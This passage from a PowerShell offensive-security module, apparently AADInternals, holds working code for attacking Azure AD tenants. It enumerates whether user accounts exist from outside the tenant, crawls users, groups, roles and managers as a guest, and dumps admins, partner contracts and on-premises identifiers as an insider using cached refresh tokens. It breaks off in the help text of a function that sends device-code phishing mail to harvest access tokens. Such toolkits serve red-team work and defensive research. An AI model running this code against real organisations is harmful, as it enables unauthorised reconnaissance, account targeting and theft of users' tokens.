Write-Progress -Activity "Getting DNS information" -Status $domain -PercentComplete (($c/$domains.count)*100)
}
$c++
# Check if this is "the initial" domain
if([string]::IsNullOrEmpty($tenantName) -and $domain.ToLower() -match '^[^.]*\.onmicrosoft.((com)|(us))$')
{
$tenantName = $domain
Write-Verbose "TENANT NAME: $tenantName"
}
# Check if the tenant has the Desktop SSO (aka Seamless SSO) enabled
if([string]::IsNullOrEmpty($tenantSSO))
{
$tenantSSO = HasDesktopSSO -Domain $domain -SubScope $tenantSubscope
}
if(-not $Single -or ($Single -and $DomainName -eq $domain))
{
# Check whether the domain exists in DNS
try { $exists = (Resolve-DnsName -Name $Domain -ErrorAction SilentlyContinue -DnsOnly -NoHostsFile -NoIdn).count -gt 0 } catch{}
if($exists)
{
# Check the MX record
$hasCloudMX = HasCloudMX -Domain $domain -SubScope $tenantSubscope
# Check the SPF record
$hasCloudSPF = HasCloudSPF -Domain $domain -SubScope $tenantSubscope
# Check the DMARC record
$hasDMARC = HasDMARC -Domain $domain
# Check the DKIM record
$hasCloudDKIM = HasCloudDKIM -Domain $domain -SubScope $tenantSubscope
# Check the MTA-STS record
$hasCloudMTASTS = HasCloudMTASTS -Domain $domain -SubScope $tenantSubscope
}
# Get the federation information
$realmInfo = Get-UserRealmV2 -UserName "nn@$domain" -SubScope $tenantSubscope
if([string]::IsNullOrEmpty($tenantBrand))
{
$tenantBrand = $realmInfo.FederationBrandName
Write-Verbose "TENANT BRAND: $tenantBrand"
}
if($authUrl = $realmInfo.AuthUrl)
{
# Try to read relaying parties
if($GetRelayingParties)
{
try
{
$idpUrl = $realmInfo.AuthUrl.Substring(0,$realmInfo.AuthUrl.LastIndexOf("/")+1)
$idpUrl += "idpinitiatedsignon.aspx"
Write-Verbose "Getting relaying parties for $domain from $idpUrl"
[xml]$page = Invoke-RestMethod -Uri $idpUrl -TimeoutSec 3
$selectElement = $page.html.body.div.div[2].div.div.div.form.div[1].div[1].select.option
$relayingParties = New-Object string[] $selectElement.Count
Write-Verbose "Got $relayingParties relaying parties from $idpUrl"
for($o = 0; $o -lt $selectElement.Count; $o++)
{
$relayingParties[$o] = $selectElement[$o].'#text'
}
}
catch{} # Okay
}
# Get just the server name
$authUrl = $authUrl.split("/")[2]
}
# Set the return object properties
$attributes=[ordered]@{
"Name" = $domain
"DNS" = $exists
"MX" = $hasCloudMX
"SPF" = $hasCloudSPF
"DMARC" = $hasDMARC
"DKIM" = $hasCloudDKIM
"MTA-STS" = $hasCloudMTASTS
"Type" = $realmInfo.NameSpaceType
"STS" = $authUrl
}
if($GetRelayingParties)
{
$attributes["RPS"] = $relayingParties
}
Remove-Variable "relayingParties" -ErrorAction SilentlyContinue
$domainInformation += New-Object psobject -Property $attributes
}
}
Write-Host "Tenant brand: $tenantBrand"
Write-Host "Tenant name: $tenantName"
Write-Host "Tenant id: $tenantId"
Write-Host "Tenant region: $tenantRegion"
if(![string]::IsNullOrEmpty($tenantSubscope))
{
Write-Host "Tenant sub region: $tenantSubscope"
}
# DesktopSSO status not definitive with a single domain
if(!$Single -or $tenantSSO -eq $true)
{
Write-Host "DesktopSSO enabled: $tenantSSO"
}
# MDI instance not definitive, may have different instance name than the tenant name.
if(![string]::IsNullOrEmpty($tenantName))
{
$tenantMDI = GetMDIInstance -Tenant $tenantName
if($tenantMDI)
{
Write-Host "MDI instance: $tenantMDI"
}
}
# Cloud sync not definitive, may use different domain name
if(DoesUserExists -User "ADToAADSyncServiceAccount@$($tenantName)")
{
Write-Host "Uses cloud sync: $true"
}
# CBA status definitive if username was provided
if($tenantCBA)
{
Write-Host "CBA enabled: $tenantCBA"
}
return $domainInformation
}
}
# Tests whether the user exists in Azure AD or not
# Jun 16th 2020
function Invoke-UserEnumerationAsOutsider
{
<#
.SYNOPSIS
Checks whether the given user exists in Azure AD or not. Returns $True or $False or empty.
.DESCRIPTION
Checks whether the given user exists in Azure AD or not. Works also with external users! Supports following enumeration methods: Normal, Login, Autologon, and RST2.
The Normal method seems currently work with all tenants. Previously it required Desktop SSO (aka Seamless SSO) to be enabled for at least one domain.
The Login method works with any tenant, but enumeration queries will be logged to Azure AD sign-in log as failed login events!
The Autologon method doesn't seem to work with all tenants anymore. Probably requires that DesktopSSO or directory sync is enabled.
Returns $True or $False if existence can be verified and empty if not.
.Parameter UserName
List of User names or email addresses of the users.
.Parameter External
Whether the given user name is for external user. Requires also -Domain parater!
.Parameter Domain
The initial domain of the given tenant.
.Parameter Method
The used enumeration method. One of "Normal","Login","Autologon","RST2"
.Example
Invoke-AADIntUserEnumerationAsOutsider -UserName [email protected]
UserName Exists
-------- ------
[email protected] True
.Example
Invoke-AADIntUserEnumerationAsOutsider -UserName [email protected] -External -Domain company.onmicrosoft.com
UserName Exists
-------- ------
external.user_gmail.com#EXT#@company.onmicrosoft.com True
.Example
Invoke-AADIntUserEnumerationAsOutsider -UserName [email protected],[email protected] -Method Autologon
UserName Exists
-------- ------
[email protected] True
[email protected] False
.Example
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
UserName Exists
-------- ------
[email protected] True
[email protected] False
[email protected]
external.user_gmail.com#EXT#@company.onmicrosoft.com True
external.user_outlook.com#EXT#@company.onmicrosoft.com False
.Example
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Login
UserName Exists
-------- ------
[email protected] True
[email protected] False
[email protected] True
external.user_gmail.com#EXT#@company.onmicrosoft.com True
external.user_outlook.com#EXT#@company.onmicrosoft.com False
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName="Normal", Mandatory=$True,ValueFromPipeline)]
[Parameter(ParameterSetName="External",Mandatory=$True,ValueFromPipeline)]
[String[]]$UserName,
[Parameter(ParameterSetName="External", Mandatory=$True)]
[Switch]$External,
[Parameter(ParameterSetName="External",Mandatory=$True)]
[String]$Domain,
[Parameter(Mandatory=$False)]
[ValidateSet("Normal","Login","Autologon","RST2")]
[String]$Method="Normal"
)
Process
{
foreach($User in $UserName)
{
$tenantSubscope = Get-TenantSubscope -Domain $UserName.Split("@")[1]
# If the user is external, change to correct format
if($Method -eq "Normal" -and $External)
{
$User="$($User.Replace("@","_"))#EXT#@$domain"
}
new-object psobject -Property ([ordered]@{"UserName"=$User;"Exists" = $(DoesUserExists -User $User -Method $Method -SubScope $tenantSubscope)})
}
}
}
# Invokes information gathering as a guest user
# Jun 16th 2020
function Invoke-ReconAsGuest
{
<#
.SYNOPSIS
Starts tenant recon of Azure AD tenant. Prompts for tenant.
.DESCRIPTION
Starts tenant recon of Azure AD tenant. Prompts for tenant.
Retrieves information from Azure AD tenant, such as, the number of Azure AD objects and quota, and the number of domains (both verified and unverified).
.Example
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
PS C:\>$results = Invoke-AADIntReconAsGuest
PS C:\>$results.allowedActions
application : {read}
domain : {read}
group : {read}
serviceprincipal : {read}
tenantdetail : {read}
user : {read, update}
serviceaction : {consent}
.Example
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
PS C:\>Get-AADIntAzureTenants
Id Country Name Domains
-- ------- ---- -------
221769d7-0747-467c-a5c1-e387a232c58c FI Firma Oy {firma.mail.onmicrosoft.com, firma.onmicrosoft.com, firma.fi}
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd US Company Ltd {company.onmicrosoft.com, company.mail.onmicrosoft.com,company.com}
PS C:\>Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache -Tenant 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
$results = Invoke-AADIntReconAsGuest
Tenant brand: Company Ltd
Tenant name: company.onmicrosoft.com
Tenant id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
Azure AD objects: 520/500000
Domains: 6 (4 verified)
Non-admin users restricted? True
Users can register apps? True
Directory access restricted? False
Guest access: Normal
CA policies: 7
PS C:\>$results.allowedActions
application : {read}
domain : {read}
group : {read}
serviceprincipal : {read}
tenantdetail : {read}
user : {read, update}
serviceaction : {consent}
#>
[cmdletbinding()]
Param()
Begin
{
# Choises
$choises="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!""#%&/()=?*+-_"
}
Process
{
# Get access token from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Get the list of tenants the user has access to
$tenants = Get-AzureTenants -AccessToken $AccessToken
$tenantNames = $tenants | Select-Object -ExpandProperty Name
# Prompt for tenant choice if more than one
if($tenantNames.count -gt 1)
{
$options = [System.Management.Automation.Host.ChoiceDescription[]]@()
for($p=0; $p -lt $tenantNames.count; $p++)
{
$options += New-Object System.Management.Automation.Host.ChoiceDescription "&$($choises[$p % $choises.Length]) $($tenantNames[$p])"
}
$opt = $host.UI.PromptForChoice("Choose the tenant","Choose the tenant to recon",$options,0)
}
else
{
$opt=0
}
$tenantInfo = $tenants[$opt]
$tenant = $tenantInfo.Id
# Get the tenant information
$tenantInformation = Get-AzureInformation -Tenant $tenant
# Guest access
if(!$tenantInformation.authorizationPolicy)
{
$tenantInformation.guestAccess = "unknown"
}
# Print out some relevant information
Write-Host "Tenant brand: $($tenantInformation.displayName)"
Write-Host "Tenant name: $($tenantInformation.domains | Where-Object isInitial -eq "True" | Select-Object -ExpandProperty id)"
Write-Host "Tenant id: $($tenantInformation.objectId)"
Write-Host "Azure AD objects: $($tenantInformation.directorySizeQuota.used)/$($tenantInformation.directorySizeQuota.total)"
Write-Host "Domains: $($tenantInformation.domains.Count) ($(($tenantInformation.domains | Where-Object isVerified -eq "True").Count) verified)"
Write-Host "Non-admin users restricted? $($tenantInformation.restrictNonAdminUsers)"
Write-Host "Users can register apps? $($tenantInformation.usersCanRegisterApps)"
Write-Host "Directory access restricted? $($tenantInformation.restrictDirectoryAccess)"
Write-Host "Guest access: $($tenantInformation.guestAccess)"
Write-Host "CA policies: $($tenantInformation.conditionalAccessPolicy.Count)"
Write-Host "Access package admins: $($tenantInformation.accessPackageAdmins.Count)"
# Return
return $tenantInformation
}
}
# Starts crawling the organisation for user names and groups
# Jun 16th 2020
function Invoke-UserEnumerationAsGuest
{
<#
.SYNOPSIS
Crawls the target organisation for user names and groups.
.DESCRIPTION
Crawls the target organisation for user names, groups, and roles. The starting point is the signed-in user, a given username, or a group id.
The crawl can be controlled with switches. Group members are limited to 1000 entries per group.
Groups: Include user's groups
GroupMembers: Include members of user's groups
Roles: Include roles of user and group members. Can be very time consuming!
Manager: Include user's manager
Subordinates: Include user's subordinates (direct reports)
UserName: User principal name (UPN) of the user to search.
GroupId: Id of the group. If this is given, only the members of the group are included.
.Example
$results = Invoke-AADIntUserEnumerationAsGuest -UserName [email protected]
Tenant brand: Company Ltd
Tenant name: company.onmicrosoft.com
Tenant id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
Logged in as: live.com#[email protected]
Users: 5
Groups: 2
Roles: 0
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$UserName,
[Switch]$Groups,
[Switch]$GroupMembers,
[Switch]$Subordinates,
[Switch]$Manager,
[Switch]$Roles,
[Parameter(Mandatory=$False)]
[String]$GroupId
)
Begin
{
# Choises
$choises="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!""#%&/()=?*+-_"
}
Process
{
# Get access token from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Get the list of tenants the user has access to
Write-Verbose "Getting list of user's tenants.."
$tenants = Get-AzureTenants -AccessToken $AccessToken
$tenantNames = $tenants | Select-Object -ExpandProperty Name
# Prompt for tenant choice if more than one
if($tenantNames.count -gt 1)
{
$options = [System.Management.Automation.Host.ChoiceDescription[]]@()
for($p=0; $p -lt $tenantNames.count; $p++)
{
$options += New-Object System.Management.Automation.Host.ChoiceDescription "&$($choises[$p % $choises.Length]) $($tenantNames[$p])"
}
$opt = $host.UI.PromptForChoice("Choose the tenant","Choose the tenant to recon",$options,0)
}
else
{
$opt=0
}
$tenantInfo = $tenants[$opt]
$tenant = $tenantInfo.Id
# Create a new AccessToken for graph.microsoft.com
$refresh_token = Get-RefreshTokenFromCache -ClientID "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://management.core.windows.net"
if([string]::IsNullOrEmpty($refresh_token))
{
throw "No refresh token found! Use Get-AADIntAccessTokenForAzureCoreManagement with -SaveToCache switch"
}
try
{
$AccessToken = Get-AccessTokenWithRefreshToken -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenant -RefreshToken $refresh_token -SaveToCache $true
}
catch
{
Throw "Unable to get access token for Microsoft Graph API"
}
# Get the initial domain
$domains = Get-MSGraphDomains -AccessToken $AccessToken
$tenantDomain = $domains | Where-Object isInitial -eq "True" | Select-Object -ExpandProperty id
if([string]::IsNullOrEmpty($tenantDomain))
{
Throw "No initial domain found for the tenant $tenant!"
}
Write-Verbose "Tenant $Tenant / $tenantDomain selected."
# If GroupID is given, dump only the members of that group
if($GroupId)
{
# Create users object
$ht_users=@{}
# Get group members
$members = Get-MSGraphGroupMembers -AccessToken $AccessToken -GroupId $GroupId
# Create a variable for members
$itemMembers = @()
# Loop trough the members
foreach($member in $members)
{
$ht_users[$member.Id] = $member
$itemMembers += $member.userPrincipalName
}
}
else
{
# If user name not given, try to get one from the access token
if([string]::IsNullOrEmpty($UserName))
{
$UserName = (Read-Accesstoken -AccessToken $AccessToken).upn
# If upn not found, this is probably live.com user, so use email instead of upn
if([string]::IsNullOrEmpty($UserName))
{
$UserName = (Read-Accesstoken -AccessToken $AccessToken).email
}
if(-not ($UserName -like "*#EXT#*"))
{
# As this must be an extrernal user, convert to external format
$UserName = "$($UserName.Replace("@","_"))#EXT#@$tenantDomain"
}
}
Write-Verbose "Getting user information for user $UserName"
# Get the user information
$user = Get-MSGraphUser -UserPrincipalName $UserName -AccessToken $AccessToken
if([string]::IsNullOrEmpty($user))
{
throw "User $UserName not found!"
}
# Create the users object
$ht_users=@{
$user.id = $user
}
# Create the groups object
$ht_groups=@{}
# Create the roles object
$ht_roles=@{}
Write-Verbose "User found: $($user.id) ($($user.userPrincipalName))"
# Loop through the user's subordinates
if($Subordinates)
{
# Copy the keys as the hashtable may change
$so_keys = New-Object string[] $ht_users.Count
$ht_users.Keys.CopyTo($so_keys,0)
# Loop through the users
foreach($userId in $so_keys)
{
$user = $ht_users[$userId].userPrincipalName
Write-Verbose "Getting subordinates of $user"
# Get user's subordinates
$userSubordinates = Get-MSGraphUserDirectReports -AccessToken $AccessToken -UserPrincipalName $user
# Loop trough the users
foreach($subordinate in $userSubordinates)
{
$ht_users[$subordinate.Id] = $subordinate
}
}
}
# Get user's manager
if($Manager)
{
try{$userManager= Get-MSGraphUserManager -AccessToken $AccessToken -UserPrincipalName $UserName}catch{}
if($userManager)
{
$ht_users[$userManager.id] = $userManager
}
}
# Loop through the users' groups
if($Groups -or $GroupMembers)
{
foreach($userId in $ht_users.Keys)
{
$groupUser = $ht_users[$userId].userPrincipalName
Write-Verbose "Getting groups of $groupUser"
# Get user's groups
$userGroups = Get-MSGraphUserMemberOf -AccessToken $AccessToken -UserPrincipalName $groupUser
# Loop trough the groups
foreach($group in $userGroups)
{
# This is a normal group
if($group.'@odata.type' -eq "#microsoft.graph.group")
{
$ht_groups[$group.id] = $group
#$itemGroups += $group.id
}
}
}
}
# Loop through the group members
if($GroupMembers)
{
foreach($groupId in $ht_groups.Keys)
{
Write-Verbose "Getting groups of $groupUser"
# Get group members
$members = Get-MSGraphGroupMembers -AccessToken $AccessToken -GroupId $groupId
# Create a variable for members
$itemMembers = @()
# Loop trough the members
foreach($member in $members)
{
$ht_users[$member.Id] = $member
$itemMembers += $member.userPrincipalName
}
# Add members to the group
$ht_groups[$groupId] | Add-Member -NotePropertyName "members" -NotePropertyValue $itemMembers
# Get group owners
$owners = Get-MSGraphGroupOwners -AccessToken $AccessToken -GroupId $groupId
# Create a variable for members
$itemOwners = @()
# Loop trough the members
foreach($owner in $owners)
{
$ht_users[$owner.Id] = $owner
$itemOwners += $owner.userPrincipalName
}
# Add members to the group
$ht_groups[$groupId] | Add-Member -NotePropertyName "owners" -NotePropertyValue $itemOwners
}
}
# Loop through the users' roles
if($Roles)
{
foreach($userId in $ht_users.Keys)
{
$roleUser = $ht_users[$userId].userPrincipalName
Write-Verbose "Getting roles of $roleUser"
# Get user's roles
$userRoles = Get-MSGraphUserMemberOf -AccessToken $AccessToken -UserPrincipalName $roleUser
# Loop trough the groups
foreach($userRole in $userRoles)
{
if($userRole.'@odata.type' -eq "#microsoft.graph.directoryRole")
{
# Try to get the existing role first
$role = $ht_roles[$userRole.id]
if($role)
{
# Add a new member to the role
$role.members+=$ht_users[$userId].userPrincipalName
}
else
{
# Create a members attribute
$userRole | Add-Member -NotePropertyName "members" -NotePropertyValue @($ht_users[$userId].userPrincipalName)
$role = $userRole
}
$ht_roles[$role.id] = $role
}
}
}
}
# Loop through the role members
if($Roles)
{
foreach($roleId in $ht_roles.Keys)
{
$members = $null
Write-Verbose "Getting role members for '$($ht_roles[$roleId].displayName)'"
# Try to get role members, usually fails
try{$members = Get-MSGraphRoleMembers -AccessToken $AccessToken -RoleId $roleId}catch{ }
if($members)
{
# Create a variable for members
$itemMembers = @()
# Loop trough the members
foreach($member in $members)
{
$ht_users[$member.Id] = $member
$itemMembers += $member.userPrincipalName
}
# Add members to the role
$ht_roles[$roleId] | Add-Member -NotePropertyName "members" -NotePropertyValue $itemMembers -Force
}
}
}
}
# Print out some relevant information
Write-Host "Tenant brand: $($tenantInfo.Name)"
Write-Host "Tenant name: $tenantDomain"
Write-Host "Tenant id: $($tenantInfo.id)"
Write-Host "Logged in as: $((Read-Accesstoken -AccessToken $AccessToken).unique_name)"
Write-Host "Users: $($ht_users.count)"
Write-Host "Groups: $($ht_groups.count)"
Write-Host "Roles: $($ht_roles.count)"
# Create the return value
$attributes=@{
"Users" = $ht_users.values
"Groups" = $ht_groups.Values
"Roles" = $ht_roles.Values
}
return New-Object psobject -Property $attributes
}
}
# Invokes information gathering as an internal user
# Aug 4th 2020
function Invoke-ReconAsInsider
{
<#
.SYNOPSIS
Starts tenant recon of Azure AD tenant.
.DESCRIPTION
Starts tenant recon of Azure AD tenant.
.Example
Get-AADIntAccessTokenForAzureCoreManagement
PS C:\>$results = Invoke-AADIntReconAsInsider
Tenant brand: Company Ltd
Tenant name: company.onmicrosoft.com
Tenant id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
Tenant SKU: E3
Azure AD objects: 520/500000
Domains: 6 (4 verified)
Non-admin users restricted? True
Users can register apps? True
Directory access restricted? False
Directory sync enabled? true
Global admins: 3
CA policies: 8
MS Partner IDs:
MS Partner DAP enabled? False
MS Partner contracts: 0
MS Partners: 1
PS C:\>$results.roleInformation | Where-Object Members -ne $null | Select-Object Name,Members
Name Members
---- -------
Company Administrator {@{DisplayName=MOD Administrator; [email protected]}, @{D...
User Account Administrator @{DisplayName=User Admin; [email protected]}
Directory Readers {@{DisplayName=Microsoft.Azure.SyncFabric; UserPrincipalName=}, @{DisplayName=MicrosoftAzur...
Directory Synchronization Accounts {@{DisplayName=On-Premises Directory Synchronization Service Account; UserPrincipalName=Syn...
#>
[cmdletbinding()]
Param()
Begin
{
}
Process
{
# Get access token from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Get the refreshtoken from the cache and create AAD token
$tenantId = (Read-Accesstoken $AccessToken).tid
$refresh_token = Get-RefreshTokenFromCache -AccessToken $AccessToken
$AAD_AccessToken = Get-AccessTokenWithRefreshToken -RefreshToken $refresh_token -Resource "https://graph.windows.net" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenantId
$MSPartner_AccessToken = Get-AccessTokenWithRefreshToken -RefreshToken $refresh_token -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenantId
$AdminAPI_AccessToken = Get-AccessTokenWithRefreshToken -RefreshToken $refresh_token -Resource "https://admin.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenantId
# Get the tenant information
Write-Verbose "Getting company information"
$companyInformation = Get-CompanyInformation -AccessToken $AAD_AccessToken
# Get the sharepoint information
Write-Verbose "Getting SharePoint Online information"
$sharePointInformation = Get-SPOServiceInformation -AccessToken $AAD_AccessToken
# Get the admins
Write-Verbose "Getting role information"
$roles = Get-Roles -AccessToken $AAD_AccessToken
$roleInformation=@()
$sortedRoles = $roles.Role | Sort-Object -Property Name
foreach($role in $roles.Role)
{
Write-Verbose "Getting members of role ""$($role.Name)"""
$attributes=[ordered]@{}
$attributes["Name"] = $role.Name
$attributes["IsEnabled"] = $role.IsEnabled
$attributes["IsSystem"] = $role.IsSystem
$attributes["ObjectId"] = $role.ObjectId
$members = Get-RoleMembers -AccessToken $AAD_AccessToken -RoleObjectId $role.ObjectId | Select-Object @{N='DisplayName'; E={$_.DisplayName}},@{N='UserPrincipalName'; E={$_.EmailAddress}}
$attributes["Members"] = $members
$roleInformation += New-Object psobject -Property $attributes
}
# Get the tenant information
Write-Verbose "Getting tenant information"
$tenantInformation = Get-AzureInformation -Tenant $tenantId
# Get basic partner information
Write-Verbose "Getting basic partner information"
$partnerInformation = Get-PartnerInformation -AccessToken $AAD_AccessToken
# Get partner organisation information
Write-Verbose "Getting partner organisation information"
$partnerOrganisations = @(Get-MSPartnerOrganizations -AccessToken $MSPartner_AccessToken)
# Get partner role information
Write-Verbose "Getting partner role information"
$partnerRoleInformation = @(Get-MSPartnerRoleMembers -AccessToken $MSPartner_AccessToken)
# Get partner contracts (customers)
Write-Verbose "Getting partner contracts (customers)"
try
{
$partnerContracts = @(Get-MSPartnerContracts -AccessToken $AAD_AccessToken)
}
catch
{
# Okay, not all are partner organisations :)
}
# Get partners
Write-Verbose "Getting partners"
try
{
$partners = @(Get-MSPartners -AccessToken $AdminAPI_AccessToken)
}
catch
{
# Okay
}
# AzureAD SKU
$tenantSku = @()
if($tenantInformation.skuInfo.aadPremiumBasic)
{
$tenantSku += "Premium Basic"
}
if($tenantInformation.skuInfo.aadPremium)
{
$tenantSku += "Premium P1"
}
if($tenantInformation.skuInfo.aadPremiumP2)
{
$tenantSku += "Premium P2"
}
if($tenantInformation.skuInfo.aadBasic)
{
$tenantSku += "Basic"
}
if($tenantInformation.skuInfo.aadBasicEdu)
{
$tenantSku += "Basic Edu"
}
if($tenantInformation.skuInfo.aadSmb)
{
$tenantSku += "SMB"
}
if($tenantInformation.skuInfo.enterprisePackE3)
{
$tenantSku += "E3"
}
if($tenantInformation.skuInfo.enterprisePremiumE5)
{
$tenantSku += "Premium E5"
}
# Set the extra tenant information
$tenantInformation |Add-Member -NotePropertyName "companyInformation" -NotePropertyValue $companyInformation
$tenantInformation |Add-Member -NotePropertyName "SPOInformation" -NotePropertyValue $sharePointInformation
$tenantInformation |Add-Member -NotePropertyName "roleInformation" -NotePropertyValue $roleInformation
$tenantInformation |Add-Member -NotePropertyName "partnerDAPEnabled" -NotePropertyValue ($partnerInformation.DapEnabled -eq "true")
$tenantInformation |Add-Member -NotePropertyName "partnerType" -NotePropertyValue $partnerInformation.CompanyType
$tenantInformation |Add-Member -NotePropertyName "partnerContracts" -NotePropertyValue $partnerContracts
$tenantInformation |Add-Member -NotePropertyName "partnerOrganisations" -NotePropertyValue $partnerOrganisations
$tenantInformation |Add-Member -NotePropertyName "partners" -NotePropertyValue $partners
$tenantInformation |Add-Member -NotePropertyName "partnerRoleInformation" -NotePropertyValue $partnerRoleInformation
# Print out some relevant information
Write-Host "Tenant brand: $($tenantInformation.displayName)"
Write-Host "Tenant name: $($tenantInformation.domains | Where-Object isInitial -eq "True" | Select-Object -ExpandProperty id)"
Write-Host "Tenant id: $tenantId"
Write-Host "Tenant SKU: $($tenantSku -join ", ")"
Write-Host "Azure AD objects: $($tenantInformation.directorySizeQuota.used)/$($tenantInformation.directorySizeQuota.total)"
Write-Host "Domains: $($tenantInformation.domains.Count) ($(($tenantInformation.domains | Where-Object isVerified -eq "True").Count) verified)"
Write-Host "Non-admin users restricted? $($tenantInformation.restrictNonAdminUsers)"
Write-Host "Users can register apps? $($tenantInformation.usersCanRegisterApps)"
Write-Host "Directory access restricted? $($tenantInformation.restrictDirectoryAccess)"
Write-Host "Directory sync enabled? $($tenantInformation.companyInformation.DirectorySynchronizationEnabled)"
Write-Host "Global admins: $(@($tenantInformation.roleInformation | Where-Object ObjectId -eq "62e90394-69f5-4237-9190-012177145e10" | Select-Object -ExpandProperty Members).Count)"
Write-Host "CA policies: $($tenantInformation.conditionalAccessPolicy.Count)"
Write-Host "MS Partner IDs: $(($tenantInformation.partnerOrganisations | Where-Object typeName -Like "Partner*" ).MPNID -join ",")"
Write-Host "MS Partner DAP enabled? $($tenantInformation.partnerDAPEnabled)"
Write-Host "MS Partner contracts: $($tenantInformation.partnerContracts.Count)"
Write-Host "MS Partners: $($tenantInformation.partners.Count)"
# Return
return $tenantInformation
}
}
# Starts crawling the organisation for user names and groups
# Jun 16th 2020
function Invoke-UserEnumerationAsInsider
{
<#
.SYNOPSIS
Dumps user names and groups of the tenant.
.DESCRIPTION
Dumps user names and groups of the tenant.
By default, the first 1000 users and groups are returned.
Groups: Include groups
GroupMembers: Include members of the groups (not recommended)
GroupId: Id of the group. If this is given, only one group and members are included.
.Example
C:\PS>$results = Invoke-AADIntUserEnumerationAsInsider
Users: 5542
Groups: 212
C:\PS>$results.Users[0]
id : 7ab0eb51-b7cb-4ff0-84ec-893a413d7b4a
displayName : User Demo
userPrincipalName : [email protected]
onPremisesImmutableId : UQ989+t6fEq9/0ogYtt1pA==
onPremisesLastSyncDateTime : 2020-07-14T08:18:47Z
onPremisesSamAccountName : UserD
onPremisesSecurityIdentifier : S-1-5-21-854168551-3279074086-2022502410-1104
refreshTokensValidFromDateTime : 2019-07-14T08:21:35Z
signInSessionsValidFromDateTime : 2019-07-14T08:21:35Z
proxyAddresses : {smtp:[email protected], SMTP:[email protected]}
businessPhones : {+1234567890}
identities : {@{signInType=userPrincipalName; issuer=company.onmicrosoft.com; [email protected]}}
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[int] $MaxResults=1000,
[switch] $Groups,
[switch] $GroupMembers,
[Parameter(Mandatory=$False)]
[String]$GroupId
)
Begin
{
}
Process
{
# Get access token from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Create a new AccessToken for graph.microsoft.com
$refresh_token = Get-RefreshTokenFromCache -AccessToken $AccessToken
if([string]::IsNullOrEmpty($refresh_token))
{
throw "No refresh token found! Use Get-AADIntAccessTokenForAzureCoreManagement with -SaveToCache switch"
}
# MSGraph Access Token
$AccessToken = Get-AccessTokenWithRefreshToken -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId (Read-Accesstoken $AccessToken).tid -RefreshToken $refresh_token -SaveToCache $true
# Get the users and some relevant information
if([String]::IsNullOrEmpty($GroupId))
{
$users = Call-MSGraphAPI -MaxResults $MaxResults -AccessToken $AccessToken -API "users" -ApiVersion "v1.0" -QueryString "`$select=id,displayName,userPrincipalName,userType,onPremisesImmutableId,onPremisesLastSyncDateTime,onPremisesSamAccountName,onPremisesSecurityIdentifier,onPremisesDistinguishedName,refreshTokensValidFromDateTime,signInSessionsValidFromDateTime,proxyAddresses,businessPhones,identities"
}
# Get the groups
if($Groups -or $GroupMembers -or $GroupId)
{
$groupsAPI="groups"
$groupQS = ""
if($GroupMembers -or $GroupId)
{
$groupQS="`$expand=members"
}
if($GroupId)
{
$groupsAPI="groups/$GroupId/"
}
$groupResults = Call-MSGraphAPI -MaxResults $MaxResults -AccessToken $AccessToken -API $groupsAPI -ApiVersion "v1.0" -QueryString $groupQS
}
$attributes=@{
"Users" = $users
"Groups" = $groupResults
}
# Print out some relevant information
Write-Host "Users: $($Users.count)"
Write-Host "Groups: $(if($GroupId -and $groupResults -ne $null){1}else{$groupResults.count})"
# Return
New-Object psobject -Property $attributes
}
}
# Sends phishing email to given recipients
# Oct 13th 2020
function Invoke-Phishing
{
<#
.SYNOPSIS
Sends phishing mail to given recipients and receives user's access token
.DESCRIPTION
Sends phishing mail to given recipients and receives user's access token using device code authentication flow.
.Parameter Tenant
Tenant id of tenant used for authentication. Defaults to "Common"
.Parameter Tenant
Tenant id of tenant used for authentication. Defaults to "Common"
.Parameter Recipients
Comma separated list of recipient emails
.Parameter Subject
Subject of the email
.Parameter Sender
Sender of the email. Supports the plain email "[email protected]" and display name "Some User <[email protected]" formats
.Parameter SMTPServer
Ip address or FQDN of the SMTP server used to send the email
.Parameter SMTPCredentials
Credentials used to authenticate to SMTP server
.Parameter Message
An html message to be sent to recipients. Uses string formatting to insert url and user code.
{0} = user code
{1} = signing url
Default message:
'<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/><br/>Here is a <a href="{1}">link</a> you <b>should not click</b>.<br/><br/>If you still decide to do so, provide the following code when requested: <b>{0}</b>.</div>'
.Parameter CleanMessage
An html message used to replace the original Teams message after the access token has been received.
Default message:
